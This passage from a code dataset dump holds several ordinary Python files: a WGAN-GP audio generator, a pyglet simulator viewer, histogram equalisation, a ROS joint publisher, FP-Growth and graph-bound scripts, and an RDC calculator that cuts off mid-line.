model.add(Conv1DTranspose(filters=8*dim, kernel_size=kernel_len, strides = 4, padding=\"same\"))\n model.add(BatchNormalization())\n model.add(Activation(\"relu\"))\n model.add(Conv1DTranspose(filters=4*dim, kernel_size=kernel_len, strides = 4, padding=\"same\"))\n model.add(BatchNormalization())\n model.add(Activation(\"relu\"))\n model.add(Conv1DTranspose(filters=2*dim, kernel_size=kernel_len, strides = 4, padding=\"same\"))\n model.add(BatchNormalization())\n model.add(Activation(\"relu\"))\n model.add(Conv1DTranspose(filters=dim, kernel_size=kernel_len, strides = 4, padding=\"same\"))\n model.add(BatchNormalization())\n model.add(Activation(\"relu\"))\n model.add(Conv1DTranspose(filters=1, kernel_size=kernel_len, strides = 2, padding=\"same\"))\n model.add(BatchNormalization())\n model.add(Activation(\"sigmoid\"))\n\n model.summary()\n\n noise = Input(shape=(self.latent_dim,))\n clip = model(noise)\n\n return Model(noise, clip)\n\n def build_critic(self):\n\n model = Sequential()\n\n convolution_layers = count_convolutions(self.audio_shape, self.kernel_size)\n\n input_shape = (self.audio_shape[1],1)\n\n model = keras.models.Sequential()\n\n model.add(Conv1D(16, kernel_size=self.kernel_size, activation='selu', strides=2, input_shape=self.audio_shape, padding=\"same\"))\n for i in range(convolution_layers):\n model.add(Conv1D(32, kernel_size=self.kernel_size, activation='selu', strides=2,padding=\"same\"))\n model.add(Flatten())\n model.add(Dropout(0.5))\n model.add(Dense(32, activation='selu'))\n model.add(Dropout(0.5))\n model.add(Dense(1))\n\n model.summary()\n\n clip = Input(shape=self.audio_shape)\n validity = model(clip)\n\n return Model(clip, validity)\n\n def train(self, epochs, batch_size, sample_interval=50):\n\n # Load the dataset\n #X_train = self.X_TRAIN\n X_train = self.X_TRAIN / 65536\n X_train = X_train + 0.5\n\n save_sound(X_train, self.folder_name, \"reference\")\n\n # Adversarial ground truths\n valid = -np.ones((batch_size, 1))\n fake = np.ones((batch_size, 1))\n dummy = np.zeros((batch_size, 1)) # Dummy gt for gradient penalty\n for epoch in range(epochs):\n\n for _ in range(self.n_critic):\n\n # ---------------------\n # Train Discriminator\n # ---------------------\n\n # Select a random batch of images\n idx = np.random.randint(0, X_train.shape[0], batch_size)\n imgs = X_train[idx]\n # Sample generator input\n #noise = np.zeros((self.latent_dim,1))\n noise = np.random.normal(0, 0.01, (batch_size, self.latent_dim))\n # Train the critic\n d_loss = self.critic_model.train_on_batch([imgs, noise],\n [valid, fake, dummy])\n\n # ---------------------\n # Train Generator\n # ---------------------\n\n g_loss = self.generator_model.train_on_batch(noise, valid)\n\n # Plot the progress\n print (\"%d [D loss: %f] [G loss: %f]\" % (epoch, d_loss[0], g_loss))\n\n # If at save interval => save generated image samples\n if epoch % sample_interval == 0:\n self.sample_clips(epoch)\n\n def sample_clips(self, epoch):\n r, c = 5, 5\n #noise = np.zeros(self.latent_dim)\n noise = np.random.normal(0, 0.01, (r * c, self.latent_dim))\n gen_clips = self.generator.predict(noise)\n\n save_sound(gen_clips, self.folder_name, \"cat\", epoch, upscale=True)\n\n\nif __name__ == '__main__':\n wgan = WGANGP()\n wgan.train(epochs=30000, batch_size=32, sample_interval=20)","sub_path":"ICM_Audio/scripts/gans/wgan-gp.py","file_name":"wgan-gp.py","file_ext":"py","file_size_in_byte":10957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"652901836","text":"import datetime, math, os, time\nfrom pyglet.gl import *\nfrom pyglet.window import mouse\nimport pyglet.window.key as key\n\n# screenshot manager parameters\nscreenshot_directory = 'screenshots/'\nscreenshot_file_type = '.png'\n\n# control parameters\nzoom_enabled = True\nzoom_min = 4\nzoom_max = 128\nzoom_init = 16\nzoom_speed = 1 / 50\n\ntranslation_enabled = True\ntranslation_init = (0, 0)\n\n# presentation parameters\nwindow_width = 800\nwindow_height = 600\nwindow_resizable = True # set to False to force resolution even if window does not fit on screen\nshow_grid = True\nrotate_thirty_degree = False # the grid is not drawn correctly if the view is rotated!\n\n# rendering parameters\ntarget_frame_rate = 10\nbusy_waiting_time = 1\nprint_frame_stats = False\n\n# simulation parameters\nrounds_per_second = 10\n\n# tile_transparency = 0.6\nparticle_transparency = 1\n\nmarker_transparency = 1\n\n\ndef coordinates_to_sim(coordinates):\n return coordinates[0], coordinates[1] * math.sqrt(3/4)\n\n\ndef sim_to_coordinates(x, y):\n return x, round(y / math.sqrt(3/4), 0)\n\n\ndef window_to_sim(x, y, view):\n x_coord = view.left + (view.right - view.left) * (x / view.width) # correct\n y_coord = view.bottom + (view.top - view.bottom) * (y / view.height) # not correct\n return x_coord, y_coord\n\n\nclass ScreenshotManager:\n dt = datetime.datetime.now()\n #prefix = dt.isoformat(sep = '_', timespec = 'seconds').replace(':', '') + '_'\n prefix = dt.isoformat(sep='_').replace(':', '') + '_'\n\n def takeScreenshot():\n if not os.path.exists(screenshot_directory):\n os.makedirs(screenshot_directory)\n\n index = math.floor(time.monotonic() * 10**3)\n file_name = screenshot_directory + ScreenshotManager.prefix + str(index) + screenshot_file_type\n pyglet.image.get_buffer_manager().get_color_buffer().save(file_name)\n\n\nclass View:\n def __init__(self):\n self.focusPos = translation_init\n self.zoom = zoom_init\n halfZoomRec = 0.5 / self.zoom\n\n def setDimensions(self, width, height):\n self.width = width\n self.height = height\n self.update()\n\n def drag(self, dx, dy):\n if not translation_enabled:\n return\n\n self.focusPos = (self.focusPos[0] - dx / self.zoom, self.focusPos[1] - dy / self.zoom)\n self.update()\n\n def scroll(self, x, y, scroll_x, scroll_y):\n if not zoom_enabled:\n return\n\n oldPos = (self.left + x / self.zoom, self.bottom + y / self.zoom)\n self.zoom = self.zoom * math.exp(-scroll_y * zoom_speed)\n self.zoom = max(self.zoom, zoom_min)\n self.zoom = min(self.zoom, zoom_max)\n self.update()\n newPos = (self.left + x / self.zoom, self.bottom + y / self.zoom)\n self.focusPos = (self.focusPos[0] + oldPos[0] - newPos[0], self.focusPos[1] + oldPos[1] - newPos[1])\n self.update()\n\n def update(self):\n halfZoomRec = 0.5 / self.zoom\n self.left = self.focusPos[0] - halfZoomRec * self.width;\n self.right = self.focusPos[0] + halfZoomRec * self.width;\n self.bottom = self.focusPos[1] - halfZoomRec * self.height;\n self.top = self.focusPos[1] + halfZoomRec * self.height;\n\nclass VisWindow(pyglet.window.Window):\n def __init__(self, window_size_x, window_size_y, world):\n #super().__init__(world.get_world_x_size(), world.get_world_y_size(), resizable=window_resizable, vsync=False, caption=\"Simulator\")\n super().__init__(window_size_x, window_size_y , resizable=window_resizable, vsync=False, caption=\"Simulator\")\n self.window_active = True\n glClearColor(0.0, 0.0, 0.0, 0.0)\n glClearDepth(1.0)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n self.world = world\n self.init_tile_vertex_list()\n self.init_particle_vertex_list()\n self.init_marker_vertex_list()\n self.view = View()\n self.view.setDimensions(window_size_x, window_size_y)\n self.elapsed_frame_time = 0\n self.particleTexture = pyglet.image.load('lib/images/particle.png').get_mipmapped_texture()\n self.gridTexture = pyglet.image.load('lib/images/grid.png').get_mipmapped_texture()\n\n glDisable(GL_DEPTH_TEST)\n glDisable(GL_CULL_FACE)\n\n glEnable(GL_BLEND)\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n\n glEnable(self.gridTexture.target)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n\n if rotate_thirty_degree:\n glRotatef(30, 0, 0, 1)\n\n glMatrixMode(GL_PROJECTION)\n\n self.simulation_running = False\n self.video_mode = False\n self.draw()\n\n def on_mouse_drag(self, x, y, dx, dy, buttons, modifiers):\n if buttons & mouse.LEFT:\n self.view.drag(dx, dy)\n\n def exit_callback(self):\n self.close()\n def on_mouse_scroll(self, x, y, scroll_x, scroll_y):\n self.view.scroll(x, y, scroll_x, scroll_y)\n\n def on_mouse_press(self, x, y, button, modifiers):\n if modifiers & key.MOD_CTRL:\n # get correct coordinates\n sim_coordinates = window_to_sim(x, y, self.view)\n coordinates_coordinates = sim_to_coordinates(sim_coordinates[0], sim_coordinates[1])\n rounded_coordinates=0\n if coordinates_coordinates[1]%2!=0:\n rounded_coordinates = round(coordinates_coordinates[0],0) + 0.5\n else:\n rounded_coordinates =round(coordinates_coordinates[0], 0)\n if (rounded_coordinates,coordinates_coordinates[1]) not in self.world.tile_map_coordinates:\n # add tile and vertices\n if self.world.add_tile_vis(rounded_coordinates, coordinates_coordinates[1]):\n self.tile_vertex_list.resize(4 * len(self.world.tiles), 4 * len(self.world.tiles))\n #self.tile_vertex_list.resize(4 * len(self.world.tiles), 8 * len(self.world.tiles))\n self.tile_vertex_list.indices[4 * (len(self.world.tiles) - 1) : 4 * (len(self.world.tiles) - 1) + 4] = range(4 * (len(self.world.tiles) - 1), 4 * (len(self.world.tiles) - 1) + 4)\n # self.tile_vertex_list.indices = list(range(0, 8 * len(self.world.tiles)))\n # self.update_tile(len(self.world.tiles) - 1, tile)\n self.update_tiles(True)\n else:\n # delete tile\n self.world.remove_tile_on((rounded_coordinates,coordinates_coordinates[1]))\n self.tile_vertex_list.resize(4 * len(self.world.tiles), 4 * len(self.world.tiles))\n self.update_tiles(True)\n\n def on_resize(self, width, height):\n glViewport(0, 0, width, height)\n self.view.setDimensions(width, height)\n return pyglet.event.EVENT_HANDLED\n\n def on_close(self):\n self.window_active = False\n return pyglet.event.EVENT_HANDLED\n\n def on_key_press(self, symbol, modifiers):\n if symbol == key.Q and modifiers & key.MOD_COMMAND: # cmd+q: quit application\n self.window_active = False\n elif symbol == key.SPACE: # space: pause / unpause simulation\n self.pause()\n elif symbol == key.S and modifiers & key.MOD_COMMAND: # cmd+s: save screenshot\n ScreenshotManager.takeScreenshot()\n elif symbol == key.V and modifiers & key.MOD_COMMAND: # cmd+v: toggle video mode\n if not self.video_mode:\n self.video_mode = True\n self.simulation_running = True\n self.elapsed_frame_time = 0 # make videos completely reproducible\n else:\n self.video_mode = False\n self.simulation_running = False\n return pyglet.event.EVENT_HANDLED\n\n def draw(self):\n self.update_tiles()\n self.update_particles()\n self.update_markers()\n glLoadIdentity()\n glOrtho(self.view.left, self.view.right, self.view.bottom, self.view.top, 1, -1)\n\n\n if show_grid:\n self.drawGrid()\n else:\n glClearColor(1, 1, 1, 1)\n glClear(GL_COLOR_BUFFER_BIT)\n\n glBindTexture(self.particleTexture.target, self.particleTexture.id)\n\n if len(self.world.tiles) != 0:\n self.tile_vertex_list.draw(GL_QUADS)\n self.particle_vertex_list.draw(GL_QUADS)\n self.marker_vertex_list.draw(GL_QUADS)\n\n self.flip()\n\n if self.video_mode:\n ScreenshotManager.takeScreenshot()\n\n def drawGrid(self):\n texLeft = math.fmod(self.view.left, 1)\n texRight = texLeft + self.view.right - self.view.left\n\n texHeight = 2 * math.sqrt(3/4)\n texBottom = math.fmod(self.view.bottom, texHeight)\n texTop = texBottom + self.view.top - self.view.bottom\n texBottom = texBottom / texHeight\n texTop = texTop / texHeight\n\n glColor4f(1, 1, 1, 1)\n glBindTexture(self.gridTexture.target, self.gridTexture.id)\n\n glBegin(GL_QUADS)\n glTexCoord2f(texLeft, texBottom)\n glVertex2f(self.view.left, self.view.bottom)\n glTexCoord2f(texRight, texBottom)\n glVertex2f(self.view.right, self.view.bottom)\n glTexCoord2f(texRight, texTop)\n glVertex2f(self.view.right, self.view.top)\n glTexCoord2f(texLeft, texTop)\n glVertex2f(self.view.left, self.view.top)\n glEnd()\n\n def pause(self):\n self.simulation_running = not self.simulation_running\n\n def init_tile_vertex_list(self):\n self.tile_vertex_list = pyglet.graphics.vertex_list_indexed(4 * len(self.world.tiles),\n list(range(0, 4 * len(self.world.tiles))),\n #list(range(0,8 * len(self.world.tiles))),\n 'v2f', 't2f', 'c4f')\n self.update_tiles(True)\n\n def update_tiles(self, update_all=False):\n foreground = []\n background = []\n\n if (len(self.world.tiles) != 0):\n if self.world.get_tile_deleted():\n self.tile_vertex_list.resize(4 * len(self.world.tiles), 4 * len(self.world.tiles))\n update_all=True\n self.world.set_tile_deleted()\n for i, tile in enumerate(self.world.tiles):\n if tile.created:\n self.tile_vertex_list.resize(4 * len(self.world.tiles), 4 * len(self.world.tiles))\n self.tile_vertex_list.indices[\n 4 * (len(self.world.tiles) - 1): 4 * (len(self.world.tiles) - 1) + 4] = range(\n 4 * (len(self.world.tiles) - 1), 4 * (len(self.world.tiles) - 1) + 4)\n tile.created = False\n if update_all or tile.modified:\n self.update_tile(i, tile)\n tile.modified = False\n\n indices = list(range(4 * i, 4 * i + 4))\n if tile.get_tile_status():\n foreground += indices\n else:\n background += indices\n\n self.tile_vertex_list.indices = background + foreground\n else:\n pass#self.tile_vertex_list.indices = list(range(0,4))\n\n def update_tile(self, i, tile):\n weird = 256 / 220\n pos = coordinates_to_sim(tile.coordinates)\n x = pos[0]\n y = pos[1]\n\n self.tile_vertex_list.vertices[8 * i: 8 * i + 8] = [x - weird, y - weird, x + weird, y - weird, x + weird,\n y + weird, x - weird, y + weird]\n\n if tile.get_tile_status():\n texLeft = 0 / 8\n texRight = 1 / 8\n texBottom = 5 / 8\n texTop = 6 / 8\n #tile_transparency = 1\n else:\n texLeft = 7 / 8\n texRight = 1 # 8/8\n texBottom = 4 / 8\n texTop = 5 / 8\n #tile_transparency = 0.5\n\n self.tile_vertex_list.tex_coords[8 * i: 8 * i + 8] = [texLeft, texBottom, texRight, texBottom, texRight, texTop,\n texLeft, texTop]\n\n self.tile_vertex_list.colors[16 * i: 16 * i + 16] = (tile.color + [tile.get_transparency()]) * 4\n\n def init_particle_vertex_list(self):\n self.particle_vertex_list = self.particle_vertex_list = pyglet.graphics.vertex_list \\\n (4 * len(self.world.particles), 'v2f', 't2f', 'c4f')\n self.update_particles(True)\n\n def update_particles(self, update_all = False):\n if (len(self.world.particles) != 0):\n if self.world.get_particle_deleted():\n self.particle_vertex_list.resize(4 * len(self.world.particles))\n self.world.set_particle_deleted()\n update_all = True\n for i, particle in enumerate(self.world.particles):\n if particle.created:\n self.particle_vertex_list.resize(4 * len(self.world.particles))\n # self.tile_vertex_list.resize(4 * len(self.world.tiles), 8 * len(self.world.tiles))\n particle.created=False\n if update_all or particle.modified:\n self.update_particle(i, particle)\n particle.modified = False\n else:\n pass\n\n def update_particle(self, i, particle):\n weird = 256 / 220\n pos = coordinates_to_sim(particle.coordinates)\n x = pos[0]\n y = pos[1]\n\n self.particle_vertex_list.vertices[8 * i: 8 * i + 8] = [x - weird, y - weird, x + weird, y - weird, x + weird,\n y + weird, x - weird, y + weird]\n \"\"\"UV works in such away that there are 8 Columns and 8 rows and if you want to take one you have to add the direction\n and reduce one from the inverse direction\"\"\"\n if particle.get_carried_status():\n texLeft = 0 / 8\n texRight = 1 / 8\n texBottom = 7 / 8\n texTop = 6 / 8\n #particle.set_transparency(0.5)\n else:\n texLeft = 0 / 8\n texRight = 1 / 8\n texBottom = 0 / 8\n texTop = 1 / 8\n #particle.set_transparency(1)\n self.particle_vertex_list.tex_coords[8 * i: 8 * i + 8] = [texLeft, texBottom, texRight, texBottom,\n texRight, texTop, texLeft, texTop]\n\n self.particle_vertex_list.colors[16 * i: 16 * i + 16] = (particle.color + [particle.get_transparency()]) * 4\n\n def init_marker_vertex_list(self):\n self.marker_vertex_list = self.marker_vertex_list = pyglet.graphics.vertex_list \\\n (4 * len(self.world.markers), 'v2f', 't2f', 'c4f')\n self.update_markers(True)\n\n def update_markers(self, update_all=True):\n if (len(self.world.markers) != 0):\n if self.world.get_marker_deleted():\n self.marker_vertex_list.resize(4 * len(self.world.markers))\n self.world.set_marker_deleted()\n update_all = True\n for i, marker in enumerate(self.world.markers):\n if marker.created:\n self.marker_vertex_list.resize(4 * len(self.world.markers))\n # self.tile_vertex_list.resize(4 * len(self.world.tiles), 8 * len(self.world.tiles))\n marker.created = False\n if update_all or marker.modified:\n self.update_marker(i, marker)\n marker.modified = False\n else:\n pass\n\n def update_marker(self, i, marker):\n weird = 256 / 220\n pos = coordinates_to_sim(marker.coordinates)\n x = pos[0]\n y = pos[1]\n\n self.marker_vertex_list.vertices[8 * i: 8 * i + 8] = [x - weird, y - weird, x + weird, y - weird, x + weird,\n y + weird, x - weird, y + weird]\n texLeft = 7/8\n texRight = 1 #8/8\n texBottom = 0/8\n texTop = 1/8\n\n self.marker_vertex_list.tex_coords[8 * i: 8 * i + 8] = [texLeft, texBottom, texRight, texBottom,\n texRight, texTop, texLeft, texTop]\n\n self.marker_vertex_list.colors[16 * i: 16 * i + 16] = (marker.color + [marker.get_transparency()]) * 4\n\n def draw_world(self, round_start_timestamp):\n while not self.simulation_running:\n self.dispatch_events()\n self.draw()\n if self.simulation_running or self.window_active is False:\n return\n\n self.draw()\n\n # waiting until enough time passed to do the next simulation round.\n time_elapsed = time.perf_counter() - round_start_timestamp\n while time_elapsed < 1 / rounds_per_second:\n # waiting for 1/100 of the round_time\n waiting_time = (1 / rounds_per_second) / 100\n time.sleep(waiting_time)\n self.dispatch_events()\n self.draw()\n time_elapsed = time.perf_counter() - round_start_timestamp\n\n return\n","sub_path":"lib/vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":17167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"222178979","text":"#coding:utf-8\nimport numpy as np\nimport cv2\n\ndef hist_gray(src):\n assert src.ndim == 2\n return np.histogram(src.flatten(),bins=256)\n\n# 灰度图像直方图均衡化\ndef histeq_gray(im,nbr_bins=256):\n assert im.ndim == 2\n #计算图像的直方图\n imhist,bins = np.histogram(im.flatten(),nbr_bins,normed=True)\n cdf = imhist.cumsum() #累计分布函数\n cdf = 255 * cdf / cdf[-1] #归一化\n \n #使用累计分布函数的线性插值,计算新的像素\n im2 = np.interp(im.flatten(),bins[:-1],cdf)\n imhist,bins = np.histogram(im2.flatten(),nbr_bins,normed=True)\n dst = np.clip(im2.reshape(im.shape),0,255)\n dst = np.uint8(dst)\n return dst,imhist\n \ndef histeq_rgb(im,nbr_bins=256):\n assert im.ndim == 3 and im.shape[-1] == 3\n dst = np.zeros_like(im)\n dst_r,imhist_r = histeq_gray(im[:,:,0])\n dst_g,imhist_g = histeq_gray(im[:,:,1])\n dst_b,imhist_b = histeq_gray(im[:,:,2])\n\n dst[:,:,0] = dst_r\n dst[:,:,1] = dst_g\n dst[:,:,2] = dst_b\n\n return dst,imhist_r,imhist_g,imhist_b\n\ndef histeq(src,nbr_bins=256):\n if src.ndim == 2:\n return histeq_gray(src,nbr_bins)\n elif src.ndim == 3 and src.shape[-1] == 3:\n return histeq_rgb(src,nbr_bins)\n else:\n return None\n\nsrc = cv2.imread('resources/images/f1.jpg')\n\ndst,_,_,_ = histeq(src)\n\ncv2.imshow('src',src)\ncv2.imshow('dst',dst)\n\ncv2.waitKey()\ncv2.destroyAllWindows()","sub_path":"docs/数字图像处理/数字图像处理与Python实现/04-图像增强/codes/04-histogram.py","file_name":"04-histogram.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"220824984","text":"#!/usr/bin/env python\nimport rospy\nfrom sensor_msgs.msg import JointState\nif __name__ == \"__main__\":\n\trospy.init_node(\"sendJointsNode\")\n\tpub = rospy.Publisher(\"joint_states\", JointState, queue_size=1000)\n\t# Joint names\n\tjnames = (\"head_pan\", \"right_j0\", \"right_j1\", \"right_j2\", \"right_j3\", \"right_j4\", \"right_j5\",\"right_j6\")\n\t# Desired Joint Configuration (in radians)\n\tjvalues = [0, 0, 0, 0, 0, 0, 0.5, 0]\n\t# Object (message) whose type is JointState\n\tjstate = JointState()\n\t# Set values to the message\n\tjstate.header.stamp = rospy.Time.now()\n\tjstate.name = jnames\n\tjstate.position = jvalues\n\t# Loop rate (in Hz)\n\trate = rospy.Rate(100)\n\t# Continuous execution loop\n\twhile not rospy.is_shutdown():\n\t\t# Current time (needed as an indicator for ROS)\n\t\tjstate.header.stamp = rospy.Time.now()\n\t\t# Publish message\n\t\tpub.publish(jstate)\n\t\t# Wait for the next iteration\n\t\trate.sleep()\n","sub_path":"src/lab1/src/node_joints.py","file_name":"node_joints.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553395326","text":"# Data Science hw 2\n\nimport sys\nfrom FPGrowth import FPGrowth\n\n\ndef input_data(file_name):\n items = []\n with open(file_name,'r') as f:\n for line in f:\n items.append(line[:-1].split(','))\n return items\n\n\n\n# INPUT_FILE = 'HW2(sample)/sample.in'\n\nif __name__ == '__main__':\n min_sup = sys.argv[1]\n INPUT_FILE = sys.argv[2]\n OUTPUT_FILE = sys.argv[3]\n items = input_data(INPUT_FILE)\n fp_growth = FPGrowth(min_sup,items,OUTPUT_FILE)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"197116412","text":"import re \r\n#matches only letters. MiXed was allowed, but not per directions\r\nword = input(\"Enter a word with uppercase then lower case letters: \")\r\n\r\npat = '^[A-Z][a-z]+$'\r\n\r\nif (re.search(pat, word)):\r\n\tprint(\"good\")\r\nelse:\r\n\tprint(\"bad\")\r\n\r\n","sub_path":"Exercise 2/Exercise2_2.py","file_name":"Exercise2_2.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"308045696","text":"import Bound\nimport Bounds\nimport LowerBounds\nimport UpperBounds\n\n\ndef add_bound_to(theTable:list, theBounds:Bounds, at_i: int, at_j: int):\n for bs in theBounds.getBounds():\n theTable[at_i][at_j].union(bs)\n\ndef no_contradiction(Us, Ls, n)->(int,int):\n for i in range(n):\n for j in range(i, n):\n if Ls[i][j].causes_contradiction(Us[i][j]):\n print(str(Ls[i][j]), \" versus \",Us[i][j])\n return i, j\n return -1, -1\n\nk = 2\nG = []\n\n# G = [[2 , 2 , 0 , 0 , 0 , 0 , 0],\n# [2 , 2 , 2 , 1 , 1 , 1 , 1],\n# [0 , 2 , 2 , 2 , 1 , 1 , 1],\n# [0 , 1 , 2 , 2 , 2 , 1 , 1],\n# [0 , 1 , 1 , 2 , 2 , 2 , 1],\n# [0 , 1 , 1 , 1 , 2 , 2 , 2 ],\n# [0 , 1 , 1 , 1 , 1 , 2 , 2]]\n# G = [ [ 2, 2, 1, 0, 0, 0 ],\n# [ 2, 2, 2, 1, 1, 1 ],\n# [ 1, 2, 2, 2, 1, 1 ],\n# [ 0, 1, 2, 2, 2, 1 ],\n# [ 0, 1, 1, 2, 2, 2 ],\n# [ 0, 1, 1, 1, 2, 2 ] ]\nG = [[2, 2, 1, 0, 0],\n [2, 2, 2, 1, 1],\n [1, 2, 2, 2, 1],\n [0, 1, 2, 2, 2],\n [0, 1, 1, 2, 2]]\nn = len(G)\nprint(G)\n\nBound.Bound.zero = Bound.Bound(path=[],ds=[0 for _ in range(k)])\n\nUBs = [[UpperBounds.UpperBounds() for _ in range(n) ] for _ in range(n)]\nLBs = [[LowerBounds.LowerBounds() for _ in range(n) ] for _ in range(n)]\n\n\n# FW initialization\nfor i in range(n):\n for j in range(i, n):\n\n if G[i][j] != 0:\n b_array = [0 for _ in range(k)]\n b_array[G[i][j] - 1] = 1\n UBs[i][j].union(Bound.Bound(path=[i, j], ds=b_array))\n # print(bd.Bound(ds=b_array))\n UBs[j][i] = UBs[i][j]\n\n b_array = [0 for _ in range(k)]\n if G[i][j] < k:\n b_array[G[i][j]] = 1\n b_curr = Bound.Bound(path=[i, j], ds=b_array)\n LBs[i][j].union(b_curr)\n LBs[j][i] = LBs[i][j]\n\nfor i in range(n):\n for j in range(i, n):\n\n print(\"(\",str(i+1),\",\", str(j+1), \"): \", UBs[i][j], \"\\t\", end='')\n print(\"\")\nprint(\"\\n\")\nfor i in range(n):\n for j in range(i, n):\n print(\"(\",str(i+1),\",\", str(j+1), \"): \", LBs[i][j], \"\\t\", end='')\n print(\"\")\n\n# FW recursion\n# Flags: all flags work concatenating the walks of bounds.\n# notice\n# write bounds as a,b and their walks as and \n# when a+b and suppose u_p=v_1, then the concatenation is : no flags needed\n#\n# when a-b, then u_1<=v_1 suppose u_1=v_1 and u_p=v_q (i.e. dist(u_1, u_1) and the walk is a cycle),\n# \tthen the overlap check need to ignore the two ends;\n# -concat_back --> suppose u_p=v_q, then the path is ,\n# \tthen the overlap check need to ignore u_p;\n# -concat_front --> suppose u_1=v_1, then the path is ,\n# \tthen the overlap check need to ignore u_1.\n#\n# -flip --> notice when subtracting, path of b need to be flipped anyway\n#\n#\n#\ncontradiction_at = (-1,-1)\nfor s in range(n):\n for i in range(n):\n for j in range(i, n):\n if i == s or j == s:\n continue\n if i == j:\n Bound.Bound.working_with_diagonal = True\n if i < s < j:\n ub_union = UBs[i][s] + UBs[s][j]\n add_bound_to(theTable= UBs, theBounds= ub_union, at_i= i, at_j= j)\n\n lb_union = LBs[i][s] + LBs[s][j]\n add_bound_to(theTable= LBs, theBounds= lb_union, at_i = i, at_j= j)\n\n elif j < s:\n Bound.Bound.flip = True\n Bound.Bound.concat_back = True\n ub_union = UBs[i][s] - LBs[s][j]\n add_bound_to(theTable= UBs, theBounds = ub_union, at_i=i, at_j= j)\n lb_union = LBs[i][s] - UBs[s][j]\n add_bound_to(theTable= LBs, theBounds= lb_union, at_i=i, at_j=j)\n Bound.Bound.concat_back = False\n Bound.Bound.flip = False\n\n\n elif s < i :\n Bound.Bound.flip = True\n Bound.Bound.concat_front = True\n ub_union = UBs[s][j] - LBs[i][s]\n add_bound_to(theTable= UBs, theBounds= ub_union, at_i=i, at_j=j)\n lb_union = LBs[s][j] - UBs[i][s]\n add_bound_to(theTable= LBs, theBounds= lb_union, at_i=i, at_j=j)\n Bound.Bound.concat_front = False\n Bound.Bound.flip = False\n\n if i == j:\n Bound.Bound.working_with_diagonal = False\n\n\n print(\"==========iter \", s,\"============\")\n for i in range(n):\n for j in range(i, n):\n print(\"(\",str(i+1),\",\", str(j+1), \"): \", UBs[i][j], \"\\t\", end='')\n print(\"\")\n print(\"\\n\")\n for i in range(n):\n for j in range(i, n):\n print(\"(\",str(i+1),\",\", str(j+1), \"): \", LBs[i][j], \"\\t\", end='')\n print(\"\")\n\n contradiction_at = no_contradiction(UBs, LBs, n)\n if contradiction_at != (-1, -1):\n print(\"Contradiction at\", contradiction_at)\n # exit(0)\n\n","sub_path":"Pasts/Floyd_W.py","file_name":"Floyd_W.py","file_ext":"py","file_size_in_byte":4919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"3447024","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 27 09:37:57 2015\n\n@author: Chiara Del Piccolo\n\"\"\"\n\n\"\"\"\nRead in experimental Residual Dipolar Couplings\n(RDCs), and read in nitrogen (N) and Hydrogen (H) coordinates to calculate the\nexpected RDCs from a text file. \nThis version for NH couplings, dmax1 = 21700, \ndiagonalized matrix / euler angles input.\n\"\"\"\n\nimport numpy as np\nfrom math import *\n\nclass ResidualDipolarCouplings(object):\n \"\"\"Read in experimental RDCs and calculate expected RDCs from coordinates.\"\"\"\n def __init__(self, Smatrix, euler_angles, exp_rdc_file, hfile, nfile, dmax):\n self.Smatrix = Smatrix\n self.euler_angles = euler_angles\n self.dmax = dmax\n self.exp_rdc_file = exp_rdc_file\n self.hfile = hfile\n self.nfile = nfile \n \n def get_exp_rdcs(self):\n \"\"\"Read in experimentally observed RDCs from a text file.\"\"\"\n exp_rdc = np.genfromtxt(self.exp_rdc_file)\n return exp_rdc\n\n def get_coords(self):\n \"\"\"Read in the coordinates of the nitrogen (N) and hydrogen (H) residues\n from a text file.\"\"\"\n Hcoords = np.genfromtxt(self.hfile) \n Ncoords = np.genfromtxt(self.nfile) \n \n #slicing\n H_residues = Hcoords[:,0] \n H_xcoords = Hcoords[:,1]\n H_ycoords = Hcoords[:,2]\n H_zcoords = Hcoords[:,3]\n \n N_residues = Ncoords[:,0]\n N_xcoords = Ncoords[:,1]\n N_ycoords = Ncoords[:,2]\n N_zcoords = Ncoords[:,3]\n \n #element-wise subtraction\n dx = H_xcoords - N_xcoords\n dy = H_ycoords - N_ycoords\n dz = H_zcoords - N_zcoords\n return dx, dy, dz\n\n def do_matrix_operations(self):\n \"\"\"Construct and rotate the matrices that are needed to calculate\n the expected RDCs.\"\"\"\n S_matrix = self.Smatrix\n euler_angles = self.euler_angles\n diag_Smatrix = np.diag(S_matrix)\n\n alpha_deg = euler_angles[0]\n beta_deg = euler_angles[1]\n gamma_deg = euler_angles[2]\n \n #convert to radians\n alpha = alpha_deg*(pi/180)\n beta = beta_deg*(pi/180)\n gamma = gamma_deg*(pi/180)\n \n #construct rotation matrix \n a = cos (gamma) * cos (beta) * cos (alpha) - sin (gamma) * sin (alpha)\n b = cos (gamma) * cos (beta) * sin (alpha) + sin (gamma) * cos (alpha)\n c = -cos (gamma) * sin (beta)\n d = -sin (gamma) * cos (beta) * cos (alpha) - cos (gamma) * sin (alpha)\n e = -sin (gamma) * cos (beta) * sin (alpha) + cos (gamma) * cos (alpha)\n f = sin (gamma) * sin (beta)\n g = cos (alpha) * sin (beta)\n h = sin (alpha) * sin (beta)\n k = cos (beta)\n \n rmatrix = np.array([a,b,c,d,e,f,g,h,k], float)\n rmatrix = rmatrix.reshape((3, 3))\n \n #construct saupe matrix\n r_transpose = np.transpose(rmatrix)\n saupe_temp = np.dot(r_transpose, diag_Smatrix)\n saupe_matrix = 